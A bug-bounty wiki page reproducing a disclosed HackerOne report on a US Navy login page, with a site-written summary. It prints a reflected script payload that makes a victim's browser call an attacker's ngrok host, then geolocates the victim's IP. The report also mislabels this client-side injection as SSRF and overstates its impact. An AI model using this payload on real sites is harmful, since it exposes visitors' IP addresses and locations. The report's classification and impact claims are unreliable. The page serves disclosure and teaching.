Skip to content
SSRF Disclosed report Beginner

SSRF in login page using fetch API exposes victims IP address to attacker controled server

The login page reflected a script payload in the source parameter, causing the victim's browser to make a request to an attacker-controlled server. This exposed the victim's IP address and browser details, allowing the attacker to infer their location.

iamrose Follow

Originally disclosed on HackerOne

  • Triaged in 16 hours
  • Fixed in 27 days
  • Disclosed after 3 months

Note: This is similar to my last report #991163.

Summary: Server Side Request Forgery Exposes Victims Ip Address to External Server and which made attacker possible to determine physical location of Victim with IP Tracing. Description: Server Side Request Forgery is the critical vulnerability occurring in web application where attacker can perform malicious action on behalf of server. SSRF can lead to port scanning, cross domain hijacking, pivoting , extracting system files and many more. In this case, I use ngrok to generate our custom domain to prove occurrence of SSRF. Once I have custom ngrok domain i can analyze all request that are coming to the domain. I used fetch() API property of JS to perform cross domain request and perform Server Side Request Forgery.

Step-by-step Reproduction Instructions

  1. Open the URL https://www.█████████
  2. Open your ngrok instance and copy your listener domain it
  3. SSRF payload '><script>fetch('your ngrok instance')</script>
  4. Append payload to source parameter
  5. Final Crafted URL████&source='><script>fetch('your ngrok instance')</script>&server=submit.moboard.com&display=Please+log+on&title=%3C
  6. Open 127.0.0.1:4040 in browser to analyze all incoming request
  7. Open URL of Step 5 from any other device than the device ngrok is running
  8. The request from US navy hits our ngrok client in 127.0.0.1:4040
  9. The request contain ip address of victim who opened the URL, browser info, Operating System and many more.
  10. We can trace victim location with ~$curl ipinfo.io/IP-address-of-victim

Screenshot is attached below with the request from navy server that hit my ngrok client

Product, Version, and Configuration (If applicable)

Browser: Firefox 80.0.1 64 Bit

Suggested Mitigation/Remediation Actions

Impact

Server Side Request Forgery Exposes Victims Ip Address to External Server and which made attacker possible to determine physical location of Victim with IP Tracing. Also, attacker can launch port scans, launch exploits to whoever visits the US NAVY Website.

The original report as published on HackerOne, by iamrose. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the source parameter was reflected into the page without proper output encoding, allowing script injection.

Impact

An attacker could learn a victim's IP address and approximate location, and the report claims port scanning and exploits are possible.

What the attacker needed

Victim clicks a crafted link; attacker controls a server (e.g., ngrok)

How it was found

  1. Open the target login page.
  2. Set up a listener using ngrok and note its domain.
  3. Craft a URL with a script payload in the source parameter that calls the ngrok domain.
  4. Open the crafted URL from a different device.
  5. Observe the incoming request on the ngrok client, which contains the victim's IP and browser details.
  6. Use an IP lookup service to estimate the victim's location.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

The login page took a value from the web address and put it directly into the page without cleaning it. An attacker could craft a link that, when opened, made the victim's browser send information to the attacker's server. This let the attacker see the victim's IP address, which can reveal roughly where they are.

What is SSRF?

The server can be made to fetch an address the attacker chooses, reaching internal services, cloud metadata or other customers' data.

More from U.S. Dept Of Defense

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Server-side request forgery (SSRF)

The lesson behind this report.

The server can be made to fetch an address the attacker chooses, reaching internal services, cloud metadata or other customers' data.